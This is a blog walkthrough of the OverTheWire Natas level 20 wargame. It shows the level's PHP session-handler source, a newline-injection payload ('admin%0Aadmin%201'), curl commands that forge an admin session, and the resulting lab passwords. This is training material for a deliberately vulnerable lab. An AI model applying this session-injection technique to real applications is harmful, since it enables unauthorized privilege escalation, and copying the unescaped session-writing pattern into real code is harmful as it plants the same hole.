Sunday 12 October 2014

Wargames - Natas 20

<< Previous challenge
Next challenge >>

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas20.natas.labs.overthewire.org and take a look at its content.
We're done with brute forcing and we're back to injections, this time in a complete different flavor, no SQL or plain Bash here...
Take a look at this new challenge, when we enter the website, we're already logged in, as a regular user, and our only option is to change the username. Let's look at the source code:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas20</h1> 
<div id="content"> 
<? 

function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 

?> 

<form action="index.php" method="POST"> 
Your name: <input name="name" value="<?=$name?>"><br> 
<input type="submit" value="Change name" /> 
</form> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
A lot of code here, but thankfully also a lot of repeated code from previous challenges, so most of it we already know what it's doing, let's exclude the functions what we already know: debug and print_credentials. The code that gets ran when we enter the page is also familiar, in this specific case, it checks for a name parameter and sets it to the name session variable.
Onto the new stuff, all those my___ functions are related to the session handlers, if you took a look at the recommended reading, you should have a slight notion of what this does. When the code calls session_set_save_handler and passes all those functions names, it's overwriting the default method of retrieving and saving sessions, how they get serialized and unserialized. From all those functions, the only ones that are interesting are the myread and mywrite ones. It's how the session is read and written from/to the file system.
Let's start with the mywrite function: the first couple of lines (68-75) are just to validate the session ID, nothing interesting happening there, this is followed by a filename variable being built base on the session ID, then for each session variable, the function writes them in the file like so: key value\n. The way it writes to the file is interesting, and you'll see why later. Now onto the myread function, this function is pretty simple, it's just the opposite of the write, it gets the session file contents, splits all lines to form an array and then splits by the space, where the string before the space is the key and the string after the space is the value.
Now that we know how this works, it's time to figure a way to exploit it. Like in the previous challenges, we now that an admin is defined by having the admin session variable set to 1, we know this from the print_credentials function, which hasn't changed from the last challenges.
With this in mind, let's see what we can control on this challenge: the name parameter and the session ID cookie. Both these things we have total control over, and even more, the name parameter is used without any parsing or escaping! Our best guess here is to use this to our advantage.
We know how the server reads the session file, it's plain text and follows a simple logic (variables separated by newlines and key and value separated by a space), we also know that there's no parsing on the name parameter that gets set as a session variable. I hope it should be starting to be obvious what we need to do, inject some code on the name parameter so that when the file gets written, the server writes the injection, and when it reads the file, it uses the injected code to our advantage. Let's see what we want to be in the session file:
name admin
admin 1
Pretty simple. The name admin pair is set by the server, which gets the name from the request parameter, the rest we need to inject using the name parameter, so all we need to do is send something like this to the server:
admin\nadmin 1
admin%0Aadmin%201
The first line is the plain text, the second one is URL encoded.
You can send this directly via the form, or like I always do, use curl. Using curl will require for two calls, one to write the session file, other to read it. From the browser you don't need to do it twice because you already have the session set. Here's how it looks:
curl "http://natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF@natas20.natas.labs.overthewire.org?name=admin%0Aadmin%201" --cookie "PHPSESSID=hackityhack"
This is will return the page saying you're a regular user, but the session file has now been written, now we make the second call:
curl "http://natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF@natas20.natas.labs.overthewire.org" --cookie "PHPSESSID=hackityhack"
Which will return:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ</pre>
<form action="index.php" method="POST">
Your name: <input name="name" value="admin"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
And we got it, on line 15 we can see the password for the next level.

User natas21
Password IFekPyrQXftziDEsUr3x21sYuahypdgJ

No more brute forcing, just using a very simple ejection allowed us to get the password.

Never Settle,

<< Previous challenge
Next challenge >>

No comments:

Post a Comment